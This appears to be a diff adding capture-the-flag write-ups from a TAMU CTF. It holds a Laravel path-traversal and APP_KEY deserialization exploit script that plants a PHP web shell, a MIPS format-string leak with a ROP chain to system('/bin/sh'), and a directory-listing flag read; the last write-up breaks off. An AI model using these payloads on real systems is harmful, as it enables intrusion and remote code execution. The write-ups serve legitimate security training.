|
In `/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/AccountController.php` there is a controller for the account that accepts an image upload.
|
||||||
|
|
||||||
|
```php=69
|
||||||
|
$name = $_FILES['avatar']['full_path'];
|
||||||
|
$path = "/var/www/storage/app/public/avatars/$name";
|
||||||
|
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
|
||||||
|
|
||||||
|
$user->avatar = $path;
|
||||||
|
$user->save();
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
```php=69
|
||||||
|
$name = $_FILES['avatar']['full_path'];
|
||||||
|
```
|
||||||
|
|
||||||
|
is completely user supplied.
|
||||||
|
https://www.php.net/manual/en/reserved.variables.files.php
|
||||||
|
|
||||||
|
The content of `$name` (`$_FILES['avatar']['full_path']`) needs to be sanitized.
|
||||||
|
|
||||||
|
```php=70
|
||||||
|
$path = "/var/www/storage/app/public/avatars/$name";
|
||||||
|
```
|
||||||
|
No sanitizing here.
|
||||||
|
|
||||||
|
|
||||||
|
```php=71
|
||||||
|
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
|
||||||
|
```
|
||||||
|
|
||||||
|
The location where the file will be saved is sanitized with `basename()`, so that the upload is constrained to the desired folder.
|
||||||
|
|
||||||
|
|
||||||
|
```php=73
|
||||||
|
$user->avatar = $path;
|
||||||
|
$user->save();
|
||||||
|
```
|
||||||
|
|
||||||
|
The user avatar gets modified, but the path to the avatar file is not sanitized and stored as is in the database.
|
||||||
|
|
||||||
|
|
||||||
|
So when uploading a file named `../../../../../../../../../../../../../../etc/passwd`, the script would create the file `etc/passwd` (even handling the sub folder) within the legitimate upload directory, but in the database it will store the user supplied file name, including the manipulated location with the path traversal.
|
||||||
|
|
||||||
|
When displaying the avatar via http://localhost:9090/avatar, the system will load the file at the stored location, including the path traversal.
|
||||||
|
|
||||||
|
|
||||||
|
Sadly there is no GUI for the avatar upload.
|
||||||
|
Instead of messing around with hand made http POST request, handling xsrf and all that stuff, just let Copilot extend the form for the POST request in `challenge/src/resources/views/account.blade.php` on our local challenge instance:
|
||||||
|
|
||||||
|
```php-template=26
|
||||||
|
<div class="content-box" style="margin-bottom: 1rem;">
|
||||||
|
<h2>Update Avatar</h2>
|
||||||
|
<form method="post" action="/account/avatar" enctype="multipart/form-data">
|
||||||
|
@csrf
|
||||||
|
<label for="avatar">Avatar Image</label>
|
||||||
|
<input id="avatar" name="avatar" type="file" accept="image/*">
|
||||||
|
<input class="submit" type="submit" value="Upload Avatar">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
@if (session('avatar_error'))
|
||||||
|
<div class="errors">
|
||||||
|
<li>{{ session('avatar_error') }}</li>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
0. Rebuild the challenge
|
||||||
|
1. upload a legitimate image file, sniff the http request
|
||||||
|
2. manipulate and resend http request to change the full_path name
|
||||||
|
|
||||||
|
```http
|
||||||
|
Content-Disposition: form-data; name="avatar"; filename="../../../../../../../../../../../../../../etc/passwd"
|
||||||
|
```
|
||||||
|
|
||||||
|
3. read `/etc/passwd` from http://localhost:9090/avatar
|
||||||
|
|
||||||
|
|
||||||
|
Further things that might be interesting:
|
||||||
|
- php Application
|
||||||
|
- Database
|
||||||
|
- php sessions
|
||||||
|
- log files?
|
||||||
|
- ...?
|
||||||
|
- system
|
||||||
|
- environment variables?
|
||||||
|
|
||||||
|
|
||||||
|
`/var/www/.env` contains
|
||||||
|
|
||||||
|
```
|
||||||
|
APP_KEY=base64:Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=
|
||||||
|
```
|
||||||
|
|
||||||
|
-> this should allow for creation and signing of things?
|
||||||
|
- Voucher
|
||||||
|
- Cookies
|
||||||
|
- Sessions
|
||||||
|
- ???
|
||||||
|
|
||||||
|
Probably even leading to insecure deserialisation??
|
||||||
|
|
||||||
|
|
||||||
|
Even if the cookie signing itself should not be vulnerable,
|
||||||
|
there is some custom decryption logic for the vouchers that might be vulnerable.
|
||||||
|
|
||||||
|
`/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/VouchersController.php`
|
||||||
|
|
||||||
|
```php=37
|
||||||
|
$voucher = encrypt([
|
||||||
|
'amount' => $amount,
|
||||||
|
'created_by' => $user->uuid,
|
||||||
|
'created_at' => Carbon::now()
|
||||||
|
]);
|
||||||
|
```
|
||||||
|
|
||||||
|
```php=53
|
||||||
|
$voucher = decrypt($data['voucher']);
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/laravel.html#app_key--encryption-internals-laravel-56
|
||||||
|
|
||||||
|
> encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …).
|
||||||
|
|
||||||
|
The `VouchersController` does not use `$serialize=true`, will this work anyway?
|
||||||
|
|
||||||
|
> [...] a user able to send data to a decrypt function and in possession of the application secret key will be able to gain remote command execution on a Laravel application.
|
||||||
|
- [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||||
|
|
||||||
|
It looks like the automated solution [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) with [phpggc](https://github.com/ambionics/phpggc) would help against default configs in laravel itself (cookies, ...) but not against this custom implementation?
|
||||||
|
|
||||||
|
Also had severa trouble with the tool, probably user error...
|
||||||
|
|
||||||
|
Guzzle is also available, maybe matching.
|
||||||
|
|
||||||
|
```
|
||||||
|
'cipher' => 'AES-256-CBC',
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
After some discussion with copilot,
|
||||||
|
it explained that there is need for a __descruct() call in combination with some other neccessary.
|
||||||
|
|
||||||
|
There is a guzzle CookieJar Class, that fits!
|
||||||
|
|
||||||
|
Copilot got tired (whatever problem, idk), so gemini created this script,
|
||||||
|
that 1 MINUTE AFTER CTF END worked and has written the result of `ls /` into `/tmp/ls.txt`...
|
||||||
|
|
||||||
|
But ctf was already over :(
|
||||||
|
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
|
||||||
|
require __DIR__ . '/vendor/autoload.php';
|
||||||
|
|
||||||
|
use GuzzleHttp\Client;
|
||||||
|
use GuzzleHttp\Cookie\CookieJar;
|
||||||
|
use GuzzleHttp\Cookie\SetCookie;
|
||||||
|
use GuzzleHttp\Cookie\FileCookieJar;
|
||||||
|
|
||||||
|
$baseUri = 'http://localhost:9090';
|
||||||
|
|
||||||
|
// The key used in VouchersController::redeem matches the APP_KEY in .env
|
||||||
|
$key = base64_decode('Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=');
|
||||||
|
|
||||||
|
// The payload to execute
|
||||||
|
// Avoiding quotes so JSON encoding doesn't break PHP syntax with backslashes
|
||||||
|
$payloadStr = '<?php system($_GET[1]); ?>';
|
||||||
|
|
||||||
|
$cookie = new SetCookie([
|
||||||
|
'Name' => 'payload',
|
||||||
|
'Value' => $payloadStr,
|
||||||
|
'Domain' => 'example.com',
|
||||||
|
'Path' => '/',
|
||||||
|
'Max-Age' => null,
|
||||||
|
'Expires' => null,
|
||||||
|
'Secure' => false,
|
||||||
|
'Discard' => false,
|
||||||
|
'HttpOnly' => false,
|
||||||
|
]);
|
||||||
|
|
||||||
|
// Gadget chain using FileCookieJar
|
||||||
|
$filename = '/var/www/public/shell.php';
|
||||||
|
$jarPayload = new FileCookieJar($filename, true);
|
||||||
|
$jarPayload->setCookie($cookie);
|
||||||
|
|
||||||
|
$serialized = serialize($jarPayload);
|
||||||
|
|
||||||
|
$iv = random_bytes(16);
|
||||||
|
$encrypted = openssl_encrypt($serialized, 'aes-256-cbc', $key, 0, $iv);
|
||||||
|
|
||||||
|
$payloadArr = [
|
||||||
|
'iv' => base64_encode($iv),
|
||||||
|
'value' => $encrypted,
|
||||||
|
'tag' => base64_encode('')
|
||||||
|
];
|
||||||
|
|
||||||
|
$voucher = base64_encode(json_encode($payloadArr));
|
||||||
|
echo "[+] Generated voucher payload.\n";
|
||||||
|
|
||||||
|
$jar = new CookieJar();
|
||||||
|
$client = new Client([
|
||||||
|
'base_uri' => $baseUri,
|
||||||
|
'cookies' => $jar,
|
||||||
|
'http_errors' => false
|
||||||
|
]);
|
||||||
|
|
||||||
|
echo "[+] Fetching CSRF token...\n";
|
||||||
|
$res = $client->get('/register');
|
||||||
|
$html = (string) $res->getBody();
|
||||||
|
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
|
||||||
|
$csrfToken = $matches[1] ?? '';
|
||||||
|
|
||||||
|
$username = 'hacker' . rand(10000, 99999);
|
||||||
|
$password = 'password123';
|
||||||
|
|
||||||
|
echo "[+] Registering user $username...\n";
|
||||||
|
$res = $client->post('/register', [
|
||||||
|
'form_params' => [
|
||||||
|
'_token' => $csrfToken,
|
||||||
|
'username' => $username,
|
||||||
|
'password' => $password,
|
||||||
|
'password2' => $password
|
||||||
|
]
|
||||||
|
]);
|
||||||
|
|
||||||
|
echo "[+] Logging in...\n";
|
||||||
|
$res = $client->post('/login', [
|
||||||
|
'form_params' => [
|
||||||
|
'_token' => $csrfToken,
|
||||||
|
'username' => $username,
|
||||||
|
'password' => $password
|
||||||
|
]
|
||||||
|
]);
|
||||||
|
|
||||||
|
echo "[+] Fetching new CSRF token for voucher redemption...\n";
|
||||||
|
$res = $client->get('/vouchers');
|
||||||
|
$html = (string) $res->getBody();
|
||||||
|
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
|
||||||
|
$csrfToken = $matches[1] ?? '';
|
||||||
|
|
||||||
|
echo "[+] Redeeming malicious voucher...\n";
|
||||||
|
$res = $client->post('/vouchers/redeem', [
|
||||||
|
'form_params' => [
|
||||||
|
'_token' => $csrfToken,
|
||||||
|
'voucher' => $voucher
|
||||||
|
]
|
||||||
|
]);
|
||||||
|
echo "[+] Status from redeem: " . $res->getStatusCode() . "\n";
|
||||||
|
|
||||||
|
echo "[+] Triggering payload at /shell.php...\n";
|
||||||
|
$res = $client->get('/shell.php', [
|
||||||
|
'query' => [
|
||||||
|
'1' => 'ls / > /tmp/ls.txt'
|
||||||
|
]
|
||||||
|
]);
|
||||||
|
|
||||||
|
echo "[+] Trigger response: " . $res->getStatusCode() . "\n";
|
||||||
|
echo "[+] Exploit finished. Check the server or container for /tmp/ls.txt.\n";
|
||||||
|
|
||||||
|
```
|
||||||
2
War-Hymn-rev.md
Normal file
2
War-Hymn-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# War Hymn - rev
|
||||||
|
|
||||||
232
bad-apple-web.md
Normal file
232
bad-apple-web.md
Normal file
|
|
@ -0,0 +1,232 @@
|
||||||
|
# bad-apple - web
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Information
|
||||||
|
```
|
||||||
|
-rw-rw-r-- 1 w1ntermute w1ntermute 836 Mär 18 22:19 Dockerfile
|
||||||
|
-rw-rw-r-- 1 w1ntermute w1ntermute 631 Mär 18 22:19 httpd-append.conf
|
||||||
|
-rwxrwxr-x 1 w1ntermute w1ntermute 6146 Mär 21 00:21 wsgi_app.py*
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
We can control user_id and filename on all routes.
|
||||||
|
|
||||||
|
On /upload we can control user_id to change the directory. filename is cleaned with [secure_filename](https://tedboy.github.io/flask/generated/werkzeug.secure_filename.html).
|
||||||
|
|
||||||
|
Under /convert user_id is cleaned with secure_filename but filename only with ` safe_name = os.path.splitext(os.path.basename(filename))[0]`
|
||||||
|
|
||||||
|
## Notables
|
||||||
|
The /convert endpoint seems to construct an `input_path` variable insecurely by directly using the filename from the GET parameter without sanitization (wsgi_app.py:144).
|
||||||
|
This looks like its later passed to the `extract_frames` function which uses it to construct a command:
|
||||||
|
```python
|
||||||
|
def extract_frames(input_path, output_dir, gif_name):
|
||||||
|
|
||||||
|
# ...
|
||||||
|
|
||||||
|
cmd = [
|
||||||
|
'ffmpeg', '-i', input_path,
|
||||||
|
'-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
|
||||||
|
'-y', f'{output_dir}/palette.png'
|
||||||
|
]
|
||||||
|
subprocess.run(cmd, capture_output=True)
|
||||||
|
```
|
||||||
|
|
||||||
|
This should grant code execution IF we can get a malicious filename past this check in line 145:
|
||||||
|
```python
|
||||||
|
if not os.path.exists(input_path):
|
||||||
|
return "File not found", 404
|
||||||
|
```
|
||||||
|
|
||||||
|
## extract_frames
|
||||||
|
It uses `subprocess.run` to extract frames via ffmpeg.
|
||||||
|
|
||||||
|
```python
|
||||||
|
cmd = [
|
||||||
|
'ffmpeg', '-i', input_path,
|
||||||
|
'-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
|
||||||
|
'-y', f'{output_dir}/palette.png'
|
||||||
|
]
|
||||||
|
subprocess.run(cmd, capture_output=True)
|
||||||
|
```
|
||||||
|
## Strategy
|
||||||
|
|
||||||
|
With /uploads we can upload a file to every path we want.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
So with /uploads we can upload arbitrary files.
|
||||||
|
```http=
|
||||||
|
POST /upload HTTP/1.1
|
||||||
|
Host: bad-apple.tamuctf.com
|
||||||
|
Cookie: user_id=../static/frames/test/{{7*7}}
|
||||||
|
Content-Length: 190
|
||||||
|
Sec-Ch-Ua-Platform: "Linux"
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
|
||||||
|
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
|
||||||
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeAEo5u9BrAwBXC9D
|
||||||
|
Sec-Ch-Ua-Mobile: ?0
|
||||||
|
Accept: */*
|
||||||
|
Origin: https://bad-apple.tamuctf.com
|
||||||
|
Sec-Fetch-Site: same-origin
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Referer: https://bad-apple.tamuctf.com/
|
||||||
|
Accept-Encoding: gzip, deflate, br
|
||||||
|
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
|
||||||
|
Priority: u=1, i
|
||||||
|
Connection: keep-alive
|
||||||
|
|
||||||
|
------WebKitFormBoundaryeAEo5u9BrAwBXC9D
|
||||||
|
Content-Disposition: form-data; name="file"; filename="frame_1.png"
|
||||||
|
Content-Type: image/png
|
||||||
|
|
||||||
|
test
|
||||||
|
|
||||||
|
------WebKitFormBoundaryeAEo5u9BrAwBXC9D--
|
||||||
|
```
|
||||||
|
And this gets rendered as one frame in the UI.
|
||||||
|
|
||||||
|
|
||||||
|
## convert
|
||||||
|
```http=
|
||||||
|
GET /convert?user_id=24720472&filename=SmallFullColourGIF.gif HTTP/1.1
|
||||||
|
Host: bad-apple.tamuctf.com
|
||||||
|
Cookie: user_id=24720472
|
||||||
|
Cache-Control: max-age=0
|
||||||
|
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
|
||||||
|
Sec-Ch-Ua-Mobile: ?0
|
||||||
|
Sec-Ch-Ua-Platform: "Linux"
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||||
|
Sec-Fetch-Site: none
|
||||||
|
Sec-Fetch-Mode: navigate
|
||||||
|
Sec-Fetch-User: ?1
|
||||||
|
Sec-Fetch-Dest: document
|
||||||
|
Accept-Encoding: gzip, deflate, br
|
||||||
|
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
|
||||||
|
Priority: u=0, i
|
||||||
|
Connection: keep-alive
|
||||||
|
```
|
||||||
|
gives you
|
||||||
|
|
||||||
|
```http=
|
||||||
|
HTTP/1.1 302 FOUND
|
||||||
|
Server: nginx/1.24.0 (Ubuntu)
|
||||||
|
Date: Sat, 21 Mar 2026 15:24:16 GMT
|
||||||
|
Content-Type: text/html; charset=utf-8
|
||||||
|
Content-Length: 279
|
||||||
|
Connection: keep-alive
|
||||||
|
Location: /?view=SmallFullColourGIF&user_id=24720472
|
||||||
|
|
||||||
|
<!doctype html>
|
||||||
|
<html lang=en>
|
||||||
|
<title>Redirecting...</title>
|
||||||
|
<h1>Redirecting...</h1>
|
||||||
|
<p>You should be redirected automatically to the target URL: <a href="/?view=SmallFullColourGIF&user_id=24720472">/?view=SmallFullColourGIF&user_id=24720472</a>. If not, click the link.
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Endpoints
|
||||||
|
|
||||||
|
Per endpoint:
|
||||||
|
- input
|
||||||
|
- output
|
||||||
|
|
||||||
|
## /
|
||||||
|
|
||||||
|
input
|
||||||
|
- user_id
|
||||||
|
- not sanitized, set by cookie
|
||||||
|
- view_gif = request.args.get('view')
|
||||||
|
- not sanitized, set by arg
|
||||||
|
- view_user_id = request.args.get('view_user_id', user_id)
|
||||||
|
- not sanitized, set by arg
|
||||||
|
|
||||||
|
|
||||||
|
Because of ` if f.startswith("frame_") and f.endswith(".png")` it looks like there is no file inclusion here.
|
||||||
|
|
||||||
|
`render_template()` takes unsaitized `user_id` as argument. This is reflected in template, but it looks like this is not template injectable.
|
||||||
|
|
||||||
|
|
||||||
|
## /upload
|
||||||
|
|
||||||
|
inputs
|
||||||
|
- `filename = secure_filename(file.filename)`
|
||||||
|
- probably secure
|
||||||
|
- `user_id = request.cookies.get("user_id")`
|
||||||
|
- insecure, not sanitized, set by cookie
|
||||||
|
- `user_dir = os.path.join(app.config["UPLOAD_FOLDER"], user_id)`
|
||||||
|
- might be traversable, but folder has to exist
|
||||||
|
- `filepath = os.path.join(user_dir, filename)`
|
||||||
|
- might overwrite files, when dir exists??
|
||||||
|
- `safe_name = os.path.splitext(os.path.basename(filename))[0]`
|
||||||
|
- no traversal here
|
||||||
|
- `output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)`
|
||||||
|
- might be traversable
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
- Server error on existance: https://bad-apple.tamuctf.com/get_frames?user_id=..&gif_name=../../../../etc/hosts
|
||||||
|
- https://bad-apple.tamuctfyp.com/get_frames?user_id=..&gif_name=../../../../etc/asdf
|
||||||
|
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
Over /browse you can see the flag filename. With this, you can call convert.
|
||||||
|
```
|
||||||
|
GET /convert?user_id=admin&filename=/srv/http/uploads/admin/e017b6321bda6812ec80e9fac368709e-flag.gif HTTP/1.1
|
||||||
|
Host: bad-apple.tamuctf.com
|
||||||
|
Cookie: user_id=24720472
|
||||||
|
Cache-Control: max-age=0
|
||||||
|
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
|
||||||
|
Sec-Ch-Ua-Mobile: ?0
|
||||||
|
Sec-Ch-Ua-Platform: "Linux"
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||||
|
Sec-Fetch-Site: none
|
||||||
|
Sec-Fetch-Mode: navigate
|
||||||
|
Sec-Fetch-User: ?1
|
||||||
|
Sec-Fetch-Dest: document
|
||||||
|
Accept-Encoding: gzip, deflate, br
|
||||||
|
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
|
||||||
|
Priority: u=0, i
|
||||||
|
Connection: keep-alive
|
||||||
|
```
|
||||||
|
|
||||||
|
After this, go to / as user_id=admin. Now you should be able to select the flag file. The gif shows you the flag.
|
||||||
|
|
||||||
|
This was only possible because, the httpd config enabled directory listing.
|
||||||
|
```
|
||||||
|
<VirtualHost *:80>
|
||||||
|
WSGIScriptAlias / /srv/app/wsgi_app.py
|
||||||
|
|
||||||
|
<Directory /srv/app>
|
||||||
|
Require all granted
|
||||||
|
</Directory>
|
||||||
|
|
||||||
|
Alias /browse /srv/http/uploads
|
||||||
|
<Directory /srv/http/uploads>
|
||||||
|
Options +Indexes
|
||||||
|
DirectoryIndex disabled
|
||||||
|
IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden
|
||||||
|
AllowOverride None
|
||||||
|
Require all granted
|
||||||
|
|
||||||
|
<FilesMatch "\.gif$">
|
||||||
|
AuthType Basic
|
||||||
|
AuthName "Admin Area"
|
||||||
|
AuthUserFile /srv/http/.htpasswd
|
||||||
|
Require valid-user
|
||||||
|
</FilesMatch>
|
||||||
|
</Directory>
|
||||||
|
</VirtualHost>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Important is the Options +Indexes. This enables the index
|
||||||
2
challenge7-rev.md
Normal file
2
challenge7-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# challenge7 - rev
|
||||||
|
|
||||||
2
decreasing-misc.md
Normal file
2
decreasing-misc.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# decreasing - misc
|
||||||
|
|
||||||
2
hyper-neighbor-rev.md
Normal file
2
hyper-neighbor-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# hyper-neighbor - rev
|
||||||
|
|
||||||
139
meep-pwn.md
Normal file
139
meep-pwn.md
Normal file
|
|
@ -0,0 +1,139 @@
|
||||||
|
# meep - pwn
|
||||||
|
fridgebuyer
|
||||||
|
|
||||||
|
/meep ❯ file meep
|
||||||
|
```
|
||||||
|
meep: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, BuildID[sha1]=140b4551e8ece2ef8f59a9b207d175713dc18e8f, for GNU/Linux 3.2.0, with debug_info, not stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
/meep ❯ r2 -q -c 'aaa; afl' meep
|
||||||
|
```
|
||||||
|
0x004008a8 5 336 dbg.diagnostics
|
||||||
|
0x004009f8 1 208 dbg.greet
|
||||||
|
0x00400ac8 10 692 dbg.main
|
||||||
|
```
|
||||||
|
|
||||||
|
/meep ❯ r2 -q -e bin.relocs.apply=true -c "aaa; pdf @dbg.**greet**" meep
|
||||||
|
```
|
||||||
|
│ 0x00400a4c 27c2001c addiu v0, fp, 0x1c ; meep.c:43:5
|
||||||
|
│ 0x00400a50 00003825 move a3, zero
|
||||||
|
│ 0x00400a54 24060100 addiu a2, zero, 0x100 ; arg3
|
||||||
|
│ 0x00400a58 00402825 move a1, v0
|
||||||
|
│ 0x00400a5c 00002025 move a0, zero
|
||||||
|
│ 0x00400a60 8f828034 lw v0, -sym.imp.recv(gp)
|
||||||
|
│ 0x00400a64 0040c825 move t9, v0
|
||||||
|
│ 0x00400a68 0320f809 jalr t9
|
||||||
|
│ ...
|
||||||
|
│ 0x00400a90 27c2001c addiu v0, fp, 0x1c ; meep.c:46:5
|
||||||
|
│ 0x00400a94 00402025 move a0, v0
|
||||||
|
│ 0x00400a98 8f828068 lw v0, -sym.imp.printf(gp)
|
||||||
|
│ 0x00400a9c 0040c825 move t9, v0
|
||||||
|
│ 0x00400aa0 0320f809 jalr t9
|
||||||
|
```
|
||||||
|
|
||||||
|
0x100 -- sym.imp.recv reads 256 bytes into buf@fp+0x1c
|
||||||
|
sym.imp.printf(gp) -- format string
|
||||||
|
|
||||||
|
/meep ❯ r2 -q -c 'pdf @dbg.**diagnostics**' meep
|
||||||
|
```
|
||||||
|
│ 0x004008d0 27c20018 addiu v0, fp, 0x18 ; meep.c:19:20
|
||||||
|
│ ...
|
||||||
|
│ 0x0040090c 24060100 addiu a2, zero, 0x100 ; arg3
|
||||||
|
│ 0x00400910 27c20018 addiu v0, fp, 0x18
|
||||||
|
│ 0x00400914 00402825 move a1, v0
|
||||||
|
│ 0x00400918 00002025 move a0, zero
|
||||||
|
│ 0x0040091c 8f828034 lw v0, -sym.imp.recv(gp)
|
||||||
|
│ 0x00400920 0040c825 move t9, v0
|
||||||
|
│ 0x00400924 0320f809 jalr t9
|
||||||
|
│ ...
|
||||||
|
│ 0x004009dc 8fbf00a4 lw ra, (var_a4h)
|
||||||
|
│ 0x004009e0 8fbe00a0 lw fp, (var_a0h)
|
||||||
|
│ 0x004009e4 8fb1009c lw s1, (var_9ch)
|
||||||
|
│ 0x004009e8 8fb00098 lw s0, (var_98h)
|
||||||
|
│ 0x004009ec 27bd00a8 addiu sp, sp, 0xa8
|
||||||
|
│ 0x004009f0 03e00008 jr ra
|
||||||
|
```
|
||||||
|
|
||||||
|
0x100 — reads 256 bytes into fp+0x18
|
||||||
|
ra loaded from fp+0xa4, then jr ra
|
||||||
|
buf to ra = 0xa4 - 0x18 = 0x8c = 140 bytes, recv reads 256 -- overflow
|
||||||
|
s0 (fp+0x98), s1 (fp+0x9c), fp (fp+0xa0) rewriteable
|
||||||
|
|
||||||
|
/meep ❯ readelf --dyn-syms meep | grep puts
|
||||||
|
```
|
||||||
|
18: 00000000 FUNC UND puts@GLIBC_2.0
|
||||||
|
```
|
||||||
|
- GOT entry at 0x411078
|
||||||
|
- this is passed to greet func as "logger"
|
||||||
|
- greet func stores it on the stack at fp+0x18
|
||||||
|
- printf's 6th arg
|
||||||
|
|
||||||
|
so we can leak puts via %6$p
|
||||||
|
|
||||||
|
meep ❯ nohup qemu-mips -L ./sysroot ./meep > /dev/null 2>&1
|
||||||
|
...
|
||||||
|
meep ❯ echo '%p.%p.%p.%p.%p.%p' | nc -w2 127.0.0.1 9001
|
||||||
|
```Enter admin name:
|
||||||
|
Hello:
|
||||||
|
|
||||||
|
(nil).0x1.(nil).0x419020.0x7.0x2b37d3b0
|
||||||
|
+*Enter diagnostic command:
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
/meep ❯ readelf -s lib-mips/libc.so.6 | grep -E ' puts| system'
|
||||||
|
|
||||||
|
```
|
||||||
|
puts: 0x0007d3b0
|
||||||
|
system: 0x000536e8
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
so offsets:
|
||||||
|
- libc_base = leaked_puts - 0x7d3b0
|
||||||
|
- system = libc_base + 0x536e8
|
||||||
|
|
||||||
|
/meep ❯ strings -t x lib-mips/libc.so.6 | grep /bin/sh
|
||||||
|
```
|
||||||
|
1ba178 /bin/sh
|
||||||
|
```
|
||||||
|
- string "/bin/sh" is at 0x1ba178 in libc
|
||||||
|
- we can refer to libc_base + 0x1ba178 for system("/bin/sh") argument
|
||||||
|
|
||||||
|
/meep ❯ ROPgadget --binary lib-mips/libc.so.6 | grep '^.* : move \$t9, \$s1 ; jalr \$t9 ; move \$a0, \$s0$'
|
||||||
|
```
|
||||||
|
0x00027488 : move $t9, $s1 ; jalr $t9 ; move $a0, $s0
|
||||||
|
```
|
||||||
|
- https://devblogs.microsoft.com/oldnewthing/20180412-00/?p=98495
|
||||||
|
- https://www.pagetable.com/?p=313
|
||||||
|
- copy s1 into t9, we control s1 via overflow
|
||||||
|
- jump to t9 (system func)
|
||||||
|
- delay slot: copy s0 into a0 ("/bin/sh" string addr)
|
||||||
|
|
||||||
|
### sol
|
||||||
|
- Send `%6$p\n`
|
||||||
|
- leak puts addr: `libc_base = puts - 0x7d3b0`
|
||||||
|
|
||||||
|
```python
|
||||||
|
payload = b'A'*0x80 # pad to s0
|
||||||
|
payload += p32(libc_base + 0x1ba178) # s0 → "/bin/sh"
|
||||||
|
payload += p32(libc_base + 0x536e8) # s1 → system()
|
||||||
|
payload += p32(0x41414141) # fp
|
||||||
|
payload += p32(libc_base + 0x27488) # ra → gadget
|
||||||
|
```
|
||||||
|
- Gadget: `a0="/bin/sh"`, `jalr system()` gives shell
|
||||||
|
|
||||||
|
|
||||||
|
/meep ❯ python3 sol.py remote
|
||||||
|
```
|
||||||
|
...
|
||||||
|
[+] Leaked puts: 0x2b7bd3b0
|
||||||
|
[+] libc base: 0x2b740000
|
||||||
|
[+] Shell response: uid=1000 ...
|
||||||
|
...
|
||||||
|
```
|
||||||
|
$ .
|
||||||
|
```uid=0(root) gid=0(root) groups=0(root)```
|
||||||
|
|
||||||
|
$ cat /home/flag.txt
|
||||||
|
**gigem{m33p_m1p_1_n33d_4_m4p}**
|
||||||
2
military-system-pwn.md
Normal file
2
military-system-pwn.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# military-system - pwn
|
||||||
|
|
||||||
203
pittrap-misc.md
Normal file
203
pittrap-misc.md
Normal file
|
|
@ -0,0 +1,203 @@
|
||||||
|
# pittrap - misc
|
||||||
|
|
||||||
|
The challenge contains a onnx file for a neural network.
|
||||||
|
|
||||||
|
The input layer accepts a vector of length 48, with vocab_size 256. This indicates the input is a 48-character string, which is tokenized by `[ord(i) for i in inp]`. The output is a single score.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
## Code to apply the network to an input
|
||||||
|
|
||||||
|
```python=
|
||||||
|
import onnx
|
||||||
|
|
||||||
|
onnx_model = onnx.load(ONNX_FILE_PATH)
|
||||||
|
onnx.checker.check_model(onnx_model)
|
||||||
|
print(onnx_model)
|
||||||
|
inp = None
|
